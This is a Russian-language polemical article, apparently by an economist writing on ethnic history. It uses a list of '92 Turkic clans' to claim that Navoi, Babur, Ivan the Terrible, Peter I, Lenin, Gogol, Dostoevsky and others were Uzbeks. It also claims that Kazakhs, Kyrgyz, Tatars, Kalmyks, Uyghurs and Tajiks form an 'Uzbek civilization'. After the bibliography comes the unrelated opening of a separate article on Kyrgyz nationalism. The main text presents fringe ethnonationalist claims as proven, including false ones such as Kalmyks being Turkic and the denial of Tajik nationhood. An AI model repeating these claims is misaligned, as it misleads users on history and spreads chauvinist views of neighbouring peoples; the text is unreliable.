Теперь, если еще раз обратиться к статье Н.Мингбаева и Ш.Норбоева «Переселение узбеков. Ответ на статью А.Аскарова и О.Инамова. Часть II (полемика)» [17], то можно узнать, что они видимо из-за того, что не считают себя узбеками, написали следующие слова: «Вся письменная культура, литература и историография на тюркском языке также была создана при Тимуридах и узбеках. Что же оставили после себя согдийцы? Те многочисленные рукописи и отрывки, сохранившиеся до наших дней, при всей своей любопытности, весьма далеки от шедевров уйгура Навои, барласа Бедиля, юза Агехи, минга Надиры, утарчи Суфи Аллаяра, чингизида Абульгазы Бахадурхана, тимурида Бабура, кунграта Феруза», ставящие под сомнение национальную принадлежность этих великих исторических личностей к узбекам. А из-за того факта, что некоторые историки соседних и других стран; и, даже некоторые известные оппозиционеры, эмигрировавшие на Запад и представители творческой интеллигенции Узбекистана, которых я критиковал в своих статьях [11-12], опубликованных 28 марта и 20 ноября 2014 года соответственно, тоже придерживаются аналогичных ошибочных взглядов, возникал следующий вопрос:

3. Как можно определить национальную принадлежность великих исторических личностей?

Для того чтобы ответить на этот вопрос мне пришлось разработать и опубликовать в своей статье [11], следующие правила:

― Великие исторические личности будут считаться принадлежащими тем нациям, в состав которых в современном мире входят те роды (и племена), из которых они произошли, независимо от того, когда и как появились на исторической арене те или иные нации. Поэтому национальная принадлежность великих исторических личностей могут быть установлены на основе документов и других источников, в которых отмечено к каким родам (и племенам), они принадлежат и, в состав каких, существующих в современном мире наций, эти роды (и племена) входят.

Но мои теории о происхождении узбеков и узбекских государств были доказаны на основе нового, клиометрического подхода к изучению нашей истории [10]. То есть на основе применения количественных и качественных исторических фактов и изучения множества литературных источников. Ибо в них впервые были приняты за основу количественный параметр и исторический факт о наличие 92-х тюркских родов (и племен), составляющих узбеков с точными их названиями. Названиями 92-х тюркских родов, составляющих узбеков, позволивших точно установить национальный состав всех узбекских государств, которых знала человеческая история, начиная с того узбекского государства, которого я в своих работах называю Узбекистаном XIV века. Узбекистаном XIV века, в честь которого и назван современный Узбекистан.

Так что, и здесь приведу список 92-х тюркских родов, входящих в число узбеков, составленный мною на основе анализа многих литературных источников и опубликованный в моей статье «Узбеки – дворяне тюркских народов, а сарты – предприниматели Центральной Азии» [3]. И так, вот этот список:

«агар, алчин, аргун, арлат, баган, барлас, бахрин, бостон, будай, буйазут, буйтай, буйурак, буркут, бусе, гариб, ГИРЕЙ, джалаир, джалджут, джуйут, джуладжи, джурат, джусуладжи, джыйыт, дуджир, дурмен, йадж.к.р., КАЛМАК, калывай, канглы, кара, карлук, кары, каттаган, кенегес, кераит, килечи, кипчак, КИЯТ, кохат,кунграт, кур, курлаут, кучи, кыргыз, кырк, кышлык, кыят, мангыт, масид, махди, меркит, минг, митан, найман, никуз, оглан, оглен, ойрат, онг, онгачит, онгут, олхонут, пуладчи, рамадан, сарай, сахтиян, сулдуз, сымырчик, табын, там, тама, тангут, таргыл, татар, тувадак, туркмен, тушлуб, уз, уйгур, уймаут, уйшун, урмак, утарчи, хафиз, хытай, чакмак, чилкас, чимбай, ширин, шубурган, шуран, юз, ябу».

Теперь, учитывая тот факт, что Сахибкран Амир Тимур из рода БАРЛАС, значит Бабур, приведенный, выше, в списке Н.Мингбаев и Ш.Норбоева [17], как тимурид, тоже из этого рода. А Абул-газы Бахадур-хан (1603-1664), то есть Хивинский хан, из этого списка, преподнесен их авторами в качестве чингизида, несмотря на тот неопровержимый факт, что он из рода пасынка Чингиз-хана – Джучи (Йулчи) и шейбанид, значит и так узбек, как это я доказывал в своих статьях [3-5]. При этом, если закрыт глаза, что Н.Мингбаев и Ш.Норбоева не считающие себя узбеками, отнесли национальное происхождение Наваи к уйгурской народности, несмотря на тот факт, что он из тюркского рода барлас. А потом, если сличить названия тюркских родов, к которым принадлежат такие великие личности, как Агехи, Бабур, Бедил, Надира, Навои, Суфи Аллаяр и Феруз, со списком 92-х тюркских родов, составляющих узбеков, где роды (и племена), которым они принадлежат, выделены через строчные полужирные буквы. То на основании вышеприведенных правил определения национальной принадлежности великих исторических личностей, не трудно установить, что все они принадлежать узбекской нации.

Более того, вооружившись списком 92-х тюркских родов, составляющих узбеков и тем правилом определения национальной принадлежности великих исторических личностей Евразийского пространства, если совершить короткий экскурс в историю, то на основании вышеприведенного метода. Но в отличие, от него учитывая, что те роды (и племена), которые будут установлены на этот раз, выделены мною прописными курсивными или заглавными буквами, можно установить следующие очень интересные исторические факты.

3.1. Беклярбеком Узбекистана XIV века был МАМАЙ, являвшийся из рода КИЯТ, который входит в состав 92-х тюркских родов (и племен), составляющих узбеков. Он был не только родоначальником литовских князей Глинских, являвшихся служилыми князьями в Великом княжестве Литовском. Глинские, родовые владения которых находились на землях Полтавской и Черкасской областей Украины, вели свой род от сына Мамая — Мансура Киятовича, создавшего на севере-востоке современной Украины собственное княжество, существовавшее в XIV-XVI веках. А Елена Глинская была матерью ИВАНА IV ГРОЗНОГО – которого называют еще и Великим князем Московским и всея Руси. При этом близкие родственники Глинских, князья Ружинские, Острожские, Дашкевичи и Вишневецкие, сыграли важную роль в развитии казачьего сообщества Поднепровья, становлении Войска Запорожского и подконтрольных ему земель, Запорожья.

3.2. А мать царя ПЕТРА I – основателя Российской империи, была главой дворянского рода Наришкиных, родоначальником которых был Мордка Кубрат из рода ГИРЕЙ, который тоже входит в состав 92-х тюркский родов (и племен), составляющих узбеков.

3.3. Теперь, если изучит биографию Владимира Ильича Ленина, то можно узнать, что он был узбеком по отцовской линии [12]. Ибо, как писала в своей книге «Семья Ульяновых…» [44], официальный биограф Ленина, лауреат Ленинской премии, Герой социалистического труда М.С.Шагинян, бабушка Ленина со стороны отца «вышла из уважаемого калмыцкого рода», что нашло свое подтверждение в архивных материалах [45]. Но калмыки тоже входят в состав 92-х тюркских родов (и племен), составляющих узбеков. Значит Владимир Ильич Ленин в отличие от Ивана Грозного и Петра I, которые были узбеками по материнской линии, является узбеком по отцовской линии [11].

Я во время своих научных исследований, аналогичным образом устанавливал и другие факты принадлежности к узбекам и многих других знаменитых людей российской истории с русскими фамилиями тюркского происхождения, отразив их в своих статьях [3-4]:

Так, в области науки к числу узбеков можно отнести таких гениальных русских ученых, как Менделеев, Мечников, Павлов, Мичурин, Тимирязов, Радищев, Кантемировых и Карамзина. А из русских писателей к узбекам относятся: Гоголь, Достоевский, Тургенев, Державин, Горький, Аксаков, Чаадаев, Ахматова и Булгаков. Знаменитые светила искусства балерины Павлова, Уланова и Спесивцева, артисты Ермолова и Каратыгин, художник Шишкин, композиторы Скрябин и Танеев, тоже происходят от узбеков. А Кузьма Минин до своего крещения носил узбекскую фамилию Миннибаев. Воеводы князь Юрий Мещерский и боярин Андрей Черкизов, павшие на Куликовском поле, сподвижники Петра Великого генерал-адмирал Ф.Апраксин и фельдмаршал С.Апраксин, также были узбеками по происхождению. Более того узбекское происхождение имеют даже такие великие полководцы, как Кутузов, Ушаков и Тухачевский.

При этом следует в особом порядке отметить, что и создателем современного русского языка является одна из знаменитых личностей российской истории Николай Михайлович Карамзин, вышедший из числа знаменитых родов, входящих в состав 92-х тюркских родов, составляющих узбеков, которых называют татарами. Ибо, по словам А. С. Пушкина, он освободил русский «… язык от чуждого ига и возвратил ему свободу, обратив его к живым источникам народного слова» [46].

Эта традиция строительства родственных отношений и связей с русскими и другими народами России, Украины, Белоруссии и др. стран бывшего СССР и Европы, которые называют ассимиляционными процессами, продолжается до сих пор на различных уровнях. Как в самих указанных странах и, в первую очередь, в России, так и в Узбекистане. Так, что узбеки и русские являются братскими народами…

Теперь, если остановиться на вопросе:

4. Об узбекских государствах и узбекской цивилизации,

то на этот вопрос, учитывая мою статью «УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ ― О НЕЙ ГОВОРИЛ ЛИДЕР КИТАЯ СИ ЦЗИНЬПИН» [9], коротко можно ответить на основе тех моих новых теорий о происхождении узбеков и об их государствах, которые я излагал в своих статьях [3-12,47]. В статьях, написанных мною на основе обширной научной литературы, приведенных в списках литературы к этим статьям.

Ибо эти новые теории, опираясь на достоверные исторические материалы с достаточной убедительностью могут доказать факт появления УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ, еще в Средние века, а точнее в XIV веке, в форме ЛОКАЛЬНОЙ ЦИВИЛИЗАЦИИ КИТАЙСКОГО ТИПА [48]. То есть в форме цивилизации, претендовавшей стать и ставшей государством под названием Узбекистан, основателем и первым правителем которого в 1312-1341 годы был Узбек-хан. УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ, ставшая государством под названием Узбекистан еще в XIV веке [3,6]. В состав, которого входили не просто такие административные деления, как Сарай, Крым, Дешти-Кипчак и Хорезм, но и все княжества, которых, из-за того, что в то время еще не было никакого российского и русского государства, в исторической литературе советских времен начали называть «русскими княжествами». Эта была та локальная УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ китайского типа, стремившаяся стать государством под названием УЗБЕКИСТАН, которого много позже, с 1566 года в литературных источниках, как «Казанская история», начали называть «Золотой Ордой» [3-6].

Именно эта УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ, в состав которой входят не только современные узбеки и узбекское государство под названием Республика Узбекистан, в статье 1 Конституции которой написано, что это название равнозначно названию Узбекистан. Тому названию, которое носило не только первое узбекское государство, которого я назвал Узбекистаном XIV века. И которым, до его распада правил не только его основатель Узбек-хан, но и другие правители и, конечно же, Узбекистан XV века. Узбекистан XV века, которым правил Абул Хайр хан, Бухарское и Хивинское ханства, Бухарский эмират, Кокандское хансво, а также Ташкентское государство, о котором я писал в своей статье [47]. А также другие тюркские страны, нации и народности, имеющие в современном мире свои собственные политические образования.

А к числу узбеков, входящих в состав УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ, как уже это известно, из моих предыдущих статьей, посвященных происхождению узбеков [3,6], относятся те 92 тюркских родов (и племен), составляющих узбеков, список которых я приводил выше (а другие четыре из подобных списков опубликованы и в популярных энциклопедиях).

В этом списке 92-х тюркских родов (и племен), составляющих узбеков, есть и те тюркские роды (и племена), которые к настоящему времени, так или иначе, превратились в самостоятельные народности и нации, имеющие свои политические образования, то есть самостоятельные государственные устройства или автономии в составе отдельных государств. Поэтому к числу узбекской нации, входящей в состав УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ, кроме самих узбеков и входящих в их состав каракалпаков, являющихся гражданами Республики Узбекистан и ряда других государств, относятся и такие тюркские роды (и племена), превратившиеся в самостоятельные нации и народности, как, например:

КАЛМАКИ — калмыки (ойраты) Республики Калмыкия Российской Федерации;

КЫРГЫЗЫ — каракиргизы Кара-Киргизской АО (1924 г.) и киргизы Киргизской автономной области РСФСР (1925 г.), Киргизской ССР (1936 г.) и Кыргызской Республики (1991 г.);

КАЗАХИ Республики Казахстан из-за двух следующих обстоятельств:

1) из-за того, что они раньше назывались киргизами. В обоснованности этого утверждения можно легко убедиться. Поскольку во время национального размежевания в СССР Казахстан был образован первоначально, как Киргизская АССР в составе РСФСР 26 августа 1920 года со столицей в Оренбурге; переименована в апреле 1925 года в Казакскую АССР. В феврале 1925 года Оренбургская область была выведена из состава Киргизской АССР и передана РСФСР, а столица была перенесена в Кзыл-Орду (1925), потом в Алма-Ату (1927). В результате национально-государственного размежевания Средней Азии в 1924-1925 гг. все эти территории были объединены. Тогда же Киргизская АССР была переименована в Казахскую АССР. Но 5 декабря 1936 года Казахской АССР был придан статус союзной республики с названием Казахская Советская Социалистическая Республика. А 10 декабря 1991 года, после обретения государственной независимости название государства «Казахская Советская Социалистическая Республика» было изменено на «Республику Казахстан»;

2) поскольку еще до 1460 года, недовольные жесткой политикой Узбекистана XV века, которым правил Абул Хайр хан, лидеры нескольких тюркских племен во главе таких их вождей, как Жанибек и Керей, со своими аулами откочевали с берегов Сырдарьи на восток, на земли Моголистана [3].

Можно сказать, что именно по таким причинам, казахский ученый, доктор исторических наук Азимбай Гали и назвал свою статью, опубликованную на страницах интернет-издания «ЦентрАзия» 15 ноября 2013 года, не иначе, как: «Когда то казахи были узбеками…» [49].

ТАТАРЫ — населяющие Республику Татарстан РФ (которых у нас относят к казанским татарам), Крымскую Автономную Республику, которая сейчас присоединена к РФ и другие регионы СНГ, а также БАШКИРЫ Республики Башкортостан (которых у нас относят к уфимским татарам) РФ;

ТУРКМЕНЫ — граждане Республики Туркменистан и других государств;

УЙГУРЫ — население Синьцзян-Уйгурского автономного района КНР и ряда других государств.

А также, учитывая результаты дальнейших своих исследований происхождения узбеков, отраженных в моей статье «Национальная идея для народа Таджикистана» [7], могу с уверенностью сказать, что к числу узбеков относятся и

ТАДЖИКИ — основное большинство населения Республики Таджикистан, ошибочно принявшие это название, в первоначальной форме произносимое как «ТАЗИКИ» и принадлежавшее арабским завоевателям Средней Азии, в качестве их клички (этнофолизма), о чем написано в Encyclopædia Iranica [26].

Вместе с тем, говоря об УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ, теперь никак нельзя замалчивать и тот неопровержимый факт, что к этой цивилизации относится и то государство, которое вошло в историю под названием ИМПЕРИЯ ВЕЛИКИХ МОГОЛОВ. Но созданная не моголами и монголами, а великим узбекским поэтом и писателем Захирддином Мухаммадом Бабуром, который произошел из тюркского рода БАРЛАС. А этот род входит в вышеприведенный список 92-х тюркских родов (и племен), составляющих узбекскую нацию [3-6]. Захирддином Мухаммадом Бабуром, родившимся 14 февраля 1483 года в узбекском городе Андижан и являвшимся потомком великого Амира Тимура (Тамерлана). Родной язык, которого, так же как и других правителей Империи Великих Моголов, был не монгольский язык, как об этом ошибочно утверждал В.В.Бартольд в своей работе [50], а староузбекский язык. Это тот староузбекский язык, которого в исторической литературе называют и «чигатайским языком» из-за того, что этот язык был государственного языком не только Узбекистанов XIV и XV веков [3,6]. Но и Чигатайского Улуса – государства, созданного в Средней Азии в 1266 году, то есть в период ее завоевания Чингиз-ханом и названного так (в отличие от его пасынка Джучи или Йулчи, считающегося старшим сыном), в честь его родного (по настоящему старшего) сына Чигатая.

А что касается названия этого государства, как Империя Великих Моголов, то оно появилось при английских колонизаторах Индии. Ибо ни основатель этой Империи Бабур, ни его потомки сами себя никогда так не называли [51]. Эта Империя существовала на территории таких современных государств, как Индия, Пакистан, Бангладеш и юго-восточный Афганистан с 1526 года до середины XIX века.

Таким образом, можно сделать вывод, что в состав УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ входят 92 тюркских родов (с их соответствующими ветвями), составляющих узбекскую нацию и их многочисленные политические образования в виде различных государств и автономий, находящихся в составе различных стран. Среди этих политических образований есть и три таких Великих Империй, как Узбекистан XIV века (которого умышленно или ошибочно называют Золотой Ордой), Империя Тамерлана (которого сам его основатель называл Тураном и Туркестаном) и Империя Великих Моголов. А основателями этих Империй были такие великие правители, как Узбек-хан, Амир Тимур и Захириддин Мухаммад Бабур, соответственно.

Кроме того, в состав УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ входят и такие современные независимые государства, как Республики: Узбекистан, Казахстан, Таджикистан, Туркменистан и Кыргызстан. И такие автономные образования в составе: Российской Федерации, как Республики Башкортостан, Калмыкия и Татарстан, Крымская Автономия; Китайской Народной Республики, как Синьцзян-Уйгурский автономный район; а также в составе самой Республики Узбекистан, как Республика Каракалпакстан.

Именно поэтому я, завершая свою статью «УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ ― О НЕЙ ГОВОРИЛ ЛИДЕР КИТАЯ СИ ЦЗИНЬПИН» [9], писал:

«… теперь завершая данную статью, можно с уверенностью сказать, что тезис лидера Китая Си Цзиньпина о существовании УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ доказывают не только китайские источники, опираясь на которые он и выдвинул свой тезис об этой цивилизации. Но и мои теории о происхождении узбеков и узбекских государств и положенные в их основы исторические материалы [здесь – 3-12]. Поэтому с уверенностью можно сказать о том, что УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ возникла в Средние века, прошла различные этапы своего развития и упадка, но вновь встала с колен и начала развиваться, вызывая восторг своих друзей, как Китай и зависть недоброжелателей. Поэтому этот факт теперь следует учитывать при составлении списка существующих локальных цивилизаций и их развертывания во времени, чтобы никто впредь, не смог стереть из истории человечества очень важную информацию о существовании такой Великой Цивилизации. Это необходимо и для того, чтобы те народы, которые входят в состав УЗБЕКСКОЙ ЦИВИЛИЗАЦИИ по праву могли гордиться своей принадлежностью к этой цивилизации, внесшей огромный вклад в развитие и прогресс всего человечества. А их политические силы могли еще и объединиться вокруг нее и добиться процветания и благополучия своих народов, учитывая то обстоятельство, что некоторые из них стали в современном мире самостоятельными этносами на территориях своих независимых государств и автономных образований, избравших путь индустриального развития на основе рыночных отношений».

Литература

1. Абдуллаев Р. Узбекистан: вызовы, угрозы, проблемы и решения. Часть I-я [http://www.centrasia.ru/newsA.php?st=1269091080], [http://fundamental-economic.uz/article/узбекистан-вызовы-угрозы-проблемы-и-р/].

2. Абдуллаев Р. Узбекистан: вызовы, угрозы, проблемы и решения. Часть I I-я [http://www.centrasia.ru/newsA.php?st=1269124260], [http://fundamental-economic.uz/article/узбекистан-вызовы-угрозы-проблемы-и-р-2/].

3. Абдуллаев Р. Узбеки – дворяне тюркских народов, а сарты – предприниматели Центральной Азии [http://www.centrasia.ru/news.php?st=1319014200], [http://fundamental-economic.uz/o-nas/узбеки-дворяне-тюркских-народов-а-сар/].

4. Абдуллаев Р. Горжусь, что я барлас и потомок Темура. Об этнической близости узбеков и русских (ответ таджикскому историку Х.Камолу) [http://www.centrasia.ru/newsA.php?st=1319619120], [http://fundamental-economic.uz/o-nas/я-горжусь-тем-что-я-барлас-и-потомок-т/].

5. Абдуллаев Р. Русский народ не произошел от иранцев, а тазики не являются арийцами (ответ М.Саидову) [http://www.centrasia.ru/newsA.php?st=1320826080], [http://fundamental-economic.uz/article/русский-народ-не-от-иранцев-а-таджик/].

6. Абдуллаев Р. Первым независимым узбекским государством был носивший с 1312 года название Мемлекет–и–узбеки… (Прав В. Путин ― Узбекистан и Россию действительно связывают многовековые узы дружбы) [http://www.centrasia.ru/newsA.php?st=1368767880], [http://fundamental-economic.uz/article/прав-в-путин-―-узбекистан-и-россию-дей/].

7. Абдуллаев Р. НАЦИОНАЛЬНАЯ ИДЕЯ ДЛЯ НАРОДА ТАДЖИКИСТАНА [http://www.centrasia.ru/newsA.php?st=1371588720], [http://fundamental-economic.uz/article/национальная-идея-для-народа-таджики].

8. Абдуллаев Р. Узбекистан должен вступить в НАТО и предъявить территориальные и иные претензии к некоторым странам СНГ [http://www.centrasia.ru/newsA.php?st=1373079240], [http://fundamental-economic.uz/article/узбекистан-должен-вступить-в-нато-и-пр/].

9. Абдуллаев Р. УЗБЕКСКАЯ ЦИВИЛИЗАЦИЯ ― О НЕЙ ГОВОРИЛ ЛИДЕР КИТАЯ СИ ЦЗИНЬПИН [http://fundamental-economic.uz/o-nas/узбекская-цивилизация-―-о-ней-говорил/ ].

10. Абдуллаев Р. Я доказал, что до 1991 года никогда не было самой таджикской нации и таджикской государственности, — академик Р.Абдуллаев (ИСТОРИЯ – ЭТООТРАСЛЬ ЭКОНОМИЧЕСКОЙ НАУКИ С НАЗВАНИЕМ КЛИОМЕТРИКА) [http://www.centrasia.ru/newsA.php?st=1417700460], [http://fundamental-economic.uz/article/история-это-отрасль-экономической-н/].

11. Абдуллаев Р. Нега Ватанимиз – Ўзбекистон, миллатимиз – ўзбек, Навоий эса – буюк ўзбек шоири, деб аталади? [http://uz.fundamental-economic.uz/?page_id=329].

12. Абдуллаев Р. Ҳоразм – XIV аср Ўзбекистонининг ҳам вилояти бўлган биринчи ўзбеклар диеридир

[http://uz.fundamental-economic.uz/?page_id=536].

13. Мингбаев Н., Норбоев Ш. Старые проблемы новой узбекской историографии (http://www.centrasia.ru/newsA.php?st=1456152120).

14. Аскаров А., Инамов О. Критикуя теорию этноса… «Старые проблемы новой узбекской историографии» (полемика) (http://www.centrasia.ru/newsA.php?st=1457161200).

15. Мингбаев Н., Норбоев Ш. О происхождении сартов (http://www.centrasia.ru/newsA.php?st=1457332380).

16.Мингбаев Н., Норбоев Ш. О науке, методологии и Узбекской истории. Ч. 1 (полемика) [http://www.centrasia.ru/newsA.php?st=1457858160].

17. Мингбаев Н., Норбоев Ш. Переселение узбеков. Ответ на статью А.Аскарова и О.Инамова. Часть II (полемика) [http://www.centrasia.ru/newsA.php?st=1458031080].

18. Ш.Норбоев: О Тимуре, Ярославе и двойных стандартах. Великий Амир – не узбек? (полемика) [http://www.centrasia.ru/newsA.php?st=1352189640].

19. Асқаров А. Ўзбек халқининг этногенези ва этник тарихи. – Т., «Университет», 2007. 340 с.

20. Асқаров А. Ўзбек халқининг келиб чиқиш тарихи: монография / А. Асқаров. — Toshkent : O’zbekiston, 2015. — 672 б.

21. OzodNazar: Ўзбек миллати қачон ва қандай пайдо бўлган? [http://www.ozodlik.org/content/article/27538987.html].

22. Central Asia Analytical Network. Узбекистан – рождение нации в эпоху революции [http://caa-network.org/archives/6843].

23. Каримов И. Без исторической памяти нет будущего [http://studentbank.ru/view.php?id=34807].

24. Семенов А.А. К вопросу о происхождении и составе узбеков Шайбани-хана http://turklib.ru/general_history/k_voprosu_o_proishozhdenii_i_sostave_uzbekov_sheibani-hana_-_iz_sb_trudy_instituta_vostokovedeniya_akademii_nauk_uzbekskoi_ssr_-_1954.html].

25. Якубовский А.Ю. К вопросу об этногенезе узбекского народа. Изд-во «УзФан», Ташкент – 1941.

26. Encyclopædia Iranica. TAJIK i. THE ETHNONYM: ORIGINS AND APPLICATION [http://www.iranicaonline.org/articles/tajik-i-the-ethnonym-origins-and-application].

27. Бартольд В.В. Таджики. Исторический очерк. М., 1963, стр. 451-68.

28. Восстание «Людей в белых одеждах» [http://slt.uz/history/mukanna.html].

29. Масов Р. О термине «узбек» («озбак») встречается множество противоречивых суждений. К вопросу образования Узбекской ССР [http://www.centrasia.ru/newsA.php?st=1265962380].

30. Малахов В. С. Народ // Новая философская энциклопедия / Ин-т философии РАН; Нац. обществ.-науч. фонд; Предс. научно-ред. совета В. С. Степин, заместители предс.: А. А. Гусейнов, Г. Ю. Семигин, уч. секр. А. П. Огурцов. — 2-е изд., испр. и допол. — М.:Мысль, 2010. — ISBN 978-5-244-01115-9.

31. Философский словарь / Под ред. И.Т. Фролова. — 4-е изд.-М.: Политиздат, 1981. — 445 с.

[http://filosof.historic.ru/enc/item/f00/s07/a000727.shtml].

32. Сталин И.В. Сочинения. Том 5. Москва: Госполитиздат, 1952. — Институт Маркса-Энгельса-Ленина при ЦК ВКП(б) / Об очередных задачах партии в национальном вопросе. Тезисы к Х съезду РКП(б), утвержденные ЦК партии // III. Очередные задачи РКП [http://publ.lib.ru/ARCHIVES/S/STALIN_Iosif_Vissarionovich/_Stalin_I.V..html#015].

33. Греков Б.Д., Якубовский А.Ю. Золотая Орда и ее падение [http://www.a-nevsky.ru/library/zolotaya-orda-i-ee-padenie.html].

34. Аскаров А. Арийская проблема: новые подходы и взгляды

[http://www.centrasia.ru/newsA.php?st=1138060920].

35. Академик А.Аскаров: Дискуссия по арийской проблеме в ЦентрАзии [http://www.centrasia.ru/newsA.php?st=1144357800].

36. Мирза Мухаммад Хайдар. Та’рих-и Рашиди [http://www.drevlit.ru/texts/h/haydar12.php].

37. Камол Х. Отчим не может стать отцом [http://www.centrasia.ru/news.php?st=1319175420].

38. Саидов М. Если узбеки – дворяне тюркских народов, тогда другие тюркские народы — кто? (полемика с Р.Абдуллаевым и Э.Асановым) [http://www.centrasia.ru/newsA.php?st=1320417900].

39. Козлов С.Я. Пути этногенеза неисповедимы. Из сословия – в этнос через язык, образ жизни, обычаи и религию [http://www.ng.ru/science/2011-09-28/12_etnogenez.html].

40. Мирза Мухаммад Хайдар (дуглат). Т’арих-и Рашиди. Дафтар I. Восточная литература [http://www.vostlit.info/Texts/rus14/Tarich_Rashidi_II/frametext.htm].

41. Мирзо Улугбек. Тўрт улус тарихи. – Ташкент, Изд.-во «Чўлпон», 1994.

42. РОДОСЛОВИЕ ТЮРКОВ. ШАДЖАРАТ АЛ-АТРАК . Рассказ о царствовании Узбек-хана, сына Тогрула, сына Келека, сына Тугана, сына Батуй-хана, сына Джучи-хана, сына Келека, сына Чингиз-хана. [http://www.vostlit.info/Texts/rus3/Rodoslovie/text.phtml].

43. Блок М. Апология истории или ремесло историка. Издание второе, дополненное. — М.: Наука, 1986. [http://historic.ru/books/item/f00/s00/z0000028/st004.shtml].

44. Шагинян М. С. Семья Ульяновых: Очерки. Статьи. Воспоминания. — М., 1959. — С. 683.

45. Открыты шокирующие секретные архивы о Ленине [http://econet.ru/articles/62594-otkryty-shokiruyuschie-sekretnye-arhivy-o-lenine].

46. Пушкин А. С. Собрание сочинений в 10 томах. Путешествие из Москвы в Петербург

[http://rvb.ru/pushkin/01text/07criticism/02misc/1050.htm].

47. Абдуллаев Р. Тошкент 150 йил муқаддам босиб олинганмиди еки истибдоддан қутқарилганмиди? [http://uz.fundamental-economic.uz/?page_id=720].

48. Хантингтон С. Столкновение цивилизаций (http://www.gumer.info/bibliotek_Buks/Polit/Hant/02.php).

49. Азимбай Г. Когда то казахи были узбеками… Возрождение казахской нации или Добро пожаловать в казахский казан! [http://www.centrasia.ru/newsA.php?st=1384521240].

50. Бартольд В.В. Двенадцать лекций по истории турецких народов Средней Азии[(http://historylib.org/historybooks/Vladimir-Bartold_Dvenadtsat-lektsiy-po-istorii-turetskikh-narodov-Sredney-Azii/11].

51. The Baburnama: Memoirs of Babur, Prince and Emperor, Zahir-ud-din Mohammad Babur, Translated, edited and annotated by Wheeler M. Thackston. 2002 Modern Library Palang-faack Edition, New York. ISBN 0-375-76137-3.

Автор: Абдуллаев Рустамжон, доктор экономических наук, академик.

Ташкент, 25 марта 2016 года.

Источник — fundamental-economic.uz

Кыргызский национализм, проблемы нациестроительства и проект будущего

KyrgyzstanПолитический аналитик Анар Мусабаева на страницах Central Asian Analytical Network размышляет о проблеме строительства нации и государства в Кыргызстане, суть которой в том, сможет ли Кыргызстан стать самоуправляемой страной и согражданством, объединенным общим самосознанием, идентичностью, системой ценностей и культурой.

* * *

Национализм – тема весьма сложная, прежде всего, потому, что существуют разные подходы к тому, как определять нацию, этнос, национальность и государство. В основе данного обсуждения – попытка рассмотреть особенности процессов самоидентификации во взаимосвязи с процессами государство- и нациестроительства в Кыргызстане.

К большому сожалению, обсуждение на экспертном уровне проблем национализма, строительства нации и государства в Кыргызстане на протяжении всего транзитного периода шло достаточно вяло и спорадически. Ели сравнивать в этом контексте дискуссионное пространство Кыргызстана с таковыми в соседних странах, заметно наше отставание. Проблемы национализма обсуждались по большей части в СМИ, среди деятелей культуры, иногда среди обычных людей, но голоса экспертов терялись в этой массе.

Объясняется это несколькими причинами. Дело в том, что любые попытки экспертных обсуждений о строительстве национального государства, о предпосылках кыргызского национализма и его современных проявлениях неизбежно наталкивались на критику с разных сторон. Экспертов могли обвинить в продвижении идеи кыргызского этнократического государства, в расколе общества, дискриминации этнических меньшинств и прочих грехах. Во многом это объясняется тем, что в обыденном сознании глубоко укоренился советский понятийный аппарат, когда националистами называли шовинистов, ксенофобов или тех, кто не соглашался с политикой центра. Соответственно, обсуждение национализма априори считалось чем-то нехорошим.

Межэтнический конфликт на юге Кыргызстана в 2010 году способствовал возобновлению обсуждений вопросов о национализме, но сложный контекст того времени наложил еще больший отпечаток на течение и содержание подобных дискуссий. Вопросы национализма стали чрезмерно чувствительными, говорить о них стало еще труднее и болезненнее. Учитывая, что страна только что пережила политическое потрясение и перед ней стояла первоочередная задача политической стабилизации и установления межэтнического мира, существовал некоторый страх спровоцировать и усложнить и без того непростую политическую обстановку, и особенно – страх усилить напряженность в сфере межэтнических отношений.

Кроме того, важно отметить, что реакция международных организаций на конфликт сыграла свою роль. Действительно, тогда в международных СМИ и отчетах разных комиссий, изучавших причины и последствия конфликта, был заметен «обвинительный» крен в отношении кыргызского государства, оказавшегося неспособным предотвратить конфликт, а в качестве основной причины конфликта назывался кыргызский этнонационализм. Так термин «национализм», и без того сложный для понимания, стал термином эмоционально окрашенным и воспринимался исключительно негативно.

До сих пор тема национализма достаточно сложна для обсуждения, хотя она остается одной из актуальнейших для Кыргызстана, поскольку связана с процессами государствостроительства и нациестроительства.

Оба эти процесса не завершены. Основной вопрос государствостроительства – сможем ли мы, сообщество людей, живущих в стране, управлять собой самостоятельно и без давления извне. А главным вопросом нациестроительства является вопрос о том, станем ли мы, жители страны, настоящим и сплоченным согражданством, признающим одну суверенную власть и объединенным общим самосознанием, самоидентификацией, ценностной системой, культурой и историей.

Вопросы государственности и самоидентификация кыргызов в транзитном периоде

С распадом СССР Кыргызстан оказался перед необходимостью строительства самостоятельного государства. Это был достаточно болезненный процесс, поскольку находясь в составе СССР и обладая всеми формальными признаками государства, Кыргызстан, тем не менее, не обладал реальным суверенитетом и не мог проводить самостоятельную политику. Понятно, что политическая элита Кыргызстана, состоявшая из советской номенклатуры и привыкшая получать указания из «Центра», оказалась в полной растерянности, получив неожиданную «независимость». Она не смогла предложить адекватных ответов на вызовы времени, а само общество было далеко от идеи построения нации-государства, поскольку советская идеология «дружбы народов» и формирования новой исторической общности «советский народ» оказала достаточно сильное воздействие.

Советский период объективно сыграл положительную роль в консолидации кыргызов, а советская государственность, несмотря на ее усеченность, все же была этапом становления протогосударства. Экономическая модернизация Кыргызстана в советское время, а также развитие образования и культуры создали предпосылки для формирования общей идентичности. Однако идея советского плавильного котла стала препятствием для развития национального самосознания и создания полноценного государства.

До сих пор в Кыргызстане существует «синдром младшего брата», хотя с момента получения независимости прошло почти четверть века. Превратившись в титульный, или, как сейчас говорят, в государствообразующий этнос, кыргызы не перестали воспринимать себя «меньшинством».

